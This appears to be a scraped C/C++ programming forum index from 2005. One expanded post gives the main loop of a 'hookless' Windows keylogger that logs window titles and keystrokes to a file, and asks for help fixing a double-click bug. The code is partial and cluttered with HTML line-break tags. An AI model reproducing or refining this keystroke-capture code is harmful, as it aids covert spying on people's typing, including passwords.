Click here to Skip to main content
15,891,763 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
Generaldatabase and recordbinding Pin
Anonymous15-Jan-05 18:30
Anonymous15-Jan-05 18:30 
Questionhow to modify the status of objects in richedit control Pin
o0o15-Jan-05 18:07
o0o15-Jan-05 18:07 
GeneralDICOM Pin
Member 78583215-Jan-05 18:00
Member 78583215-Jan-05 18:00 
QuestionHow to change a pixel of a raw image Pin
Adeeler15-Jan-05 16:41
Adeeler15-Jan-05 16:41 
AnswerRe: How to change a pixel of a raw image Pin
Christian Graus16-Jan-05 11:33
protectorChristian Graus16-Jan-05 11:33 
GeneralMultithreading Strategy Qs Pin
KnaveR77715-Jan-05 15:08
KnaveR77715-Jan-05 15:08 
GeneralRe: Multithreading Strategy Qs Pin
Chris Losinger16-Jan-05 4:20
professionalChris Losinger16-Jan-05 4:20 
Generalhookless keylogger part II Pin
Spiritofamerica15-Jan-05 10:34
Spiritofamerica15-Jan-05 10:34 
hello,

I am trying to make a hookless keylogger using AttachThread

function to attach my thread to the foreground window and

GetKeyboardState to fish for keys but I have a problem when

the program is active(see code snipplet of most of the

source code below) the mouse double click doesn't work any

more on the desktop and in windows explorer but the logger

does log these events(the double clicks) so why does it do

this and how can I remedy this??

I don't need to necesarrily log these events is there any

way I could skip them?


I included the program's main loop here maby it helps you

when you give me answers(hopefully) thank you in advance.

<br />
while(true)<br />
	{<br />
		<br />
		fereastra_activa=GetForegroundWindow();<br />
<br />
		if(fereastra_activa!=NULL)<br />
		{<br />
			<br />
			DWORD id;<br />
<br />
			id = <br />
<br />
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);<br />
<br />
			<br />
<br />
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))<br />
			{<br />
				//MessageBox(0,"am atasat <br />
<br />
threadul","toader",MB_OK);<br />
//---------------------numele <br />
<br />
proceselor-------------------------------------------------<br />
<br />
--------<br />
			<br />
				<br />
<br />
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);<br />
<br />
				<br />
<br />
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);<br />
<br />
				<br />
<br />
if(StrCmpI(nume_exe,nume_exe_actual)!=0)<br />
				{<br />
					if(nume_exe!=NULL)<br />
					{<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
ScriereText(fisier_de_log,"____________________________new <br />
<br />
process:___________________________________");<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
ScriereText(fisier_de_log,nume_exe);<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
strcpy(nume_exe_actual,nume_exe);<br />
					}<br />
<br />
				}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
//----------------------------numele <br />
<br />
ferestrelor------------------------------------------------<br />
<br />
-<br />
				<br />
<br />
GetWindowText(fereastra_activa,nume_fereastra,1024);<br />
<br />
				if <br />
<br />
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)<br />
				{<br />
					<br />
<br />
if(strlen(nume_fereastra)>0)<br />
					{<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
ScriereText(fisier_de_log,"--------------------------new <br />
<br />
window name:-------------------------------------");<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
ScriereText(fisier_de_log,nume_fereastra);<br />
						<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
						<br />
<br />
strcpy(nume_fereastra_actual,nume_fereastra);<br />
					}<br />
<br />
				}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
<br />
				BYTE CharacterInfo[256];<br />
				BYTE <br />
<br />
LastCharacterInfo[256];<br />
				<br />
<br />
GetKeyboardState(CharacterInfo);<br />
<br />
				<br />
<br />
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))<br />
				{<br />
					MessageBox(0,"nu am <br />
<br />
putut sa scot threadul","toader",MB_OK);<br />
				}<br />
				<br />
				<br />
<br />
if(memcmp(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo)) != 0)<br />
				{<br />
					for(int i = 32;i< <br />
<br />
127;i++)<br />
					{<br />
						<br />
<br />
if(CharacterInfo[i] & 0x80)<br />
						{<br />
							<br />
<br />
//MessageBox(0,"a key has been pressed","b",MB_OK);<br />
<br />
							<br />
<br />
if(CharacterInfo[0x0D] & 0x80)<br />
							{<br />
								<br />
<br />
ScriereText("toader.txt","<ENTER>");<br />
							}<br />
<br />
								<br />
<br />
ScriereCaracter("toader.txt",i);<br />
			<br />
<br />
							}<br />
					}<br />
					<br />
<br />
memcpy(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo));<br />
				}<br />
				<br />
				<br />
			}<br />
			else<br />
			{<br />
				MessageBox(0,"n-a <br />
<br />
mers","toader cel golan",MB_OK);<br />
				if(id=0)<br />
				{<br />
					<br />
<br />
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);<br />
				}<br />
			}<br />
		}<br />
		else<br />
		{<br />
			//MessageBox(0,"nu pot sa iau <br />
<br />
handel de la fereastra","toader",MB_OK);<br />
		}<br />
		Sleep(1);<br />
	}

Generalhookless keylogger part II Pin
Spiritofamerica15-Jan-05 10:32
Spiritofamerica15-Jan-05 10:32 
Generalbstr, wchar_t, and code pages Pin
Samsung15-Jan-05 7:03
Samsung15-Jan-05 7:03 
GeneralRe: bstr, wchar_t, and code pages Pin
Michael Dunn15-Jan-05 10:25
sitebuilderMichael Dunn15-Jan-05 10:25 
GeneralRe: bstr, wchar_t, and code pages Pin
Samsung15-Jan-05 12:18
Samsung15-Jan-05 12:18 
GeneralRe: bstr, wchar_t, and code pages Pin
Michael Dunn15-Jan-05 19:02
sitebuilderMichael Dunn15-Jan-05 19:02 
GeneralRe: bstr, wchar_t, and code pages Pin
Samsung16-Jan-05 3:26
Samsung16-Jan-05 3:26 
GeneralRe: bstr, wchar_t, and code pages Pin
Michael Dunn16-Jan-05 11:14
sitebuilderMichael Dunn16-Jan-05 11:14 
GeneralPhonebook style database in VC6 application Pin
Civic0615-Jan-05 4:23
Civic0615-Jan-05 4:23 
GeneralRe: Phonebook style database in VC6 application Pin
Ravi Bhavnani15-Jan-05 4:35
professionalRavi Bhavnani15-Jan-05 4:35 
GeneralWM_QUERYENDSESSION, or: Do something... Pin
S. Hepe14-Jan-05 21:41
S. Hepe14-Jan-05 21:41 
QuestionHow to load a ActiveX Dll Dynamically by specifying the dll name Pin
Virajs14-Jan-05 20:34
Virajs14-Jan-05 20:34 
GeneralNew to programming/c++ Pin
Stan++14-Jan-05 19:53
Stan++14-Jan-05 19:53 
GeneralRe: New to programming/c++ Pin
imyevv14-Jan-05 20:32
imyevv14-Jan-05 20:32 
GeneralRe: New to programming/c++ Pin
Stan++15-Jan-05 9:06
Stan++15-Jan-05 9:06 
GeneralRe: New to programming/c++ Pin
markkuk15-Jan-05 1:34
markkuk15-Jan-05 1:34 
GeneralRe: New to programming/c++ Pin
Stan++15-Jan-05 9:03
Stan++15-Jan-05 9:03 
GeneralRe: New to programming/c++ Pin
Maximilien15-Jan-05 1:52
Maximilien15-Jan-05 1:52 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.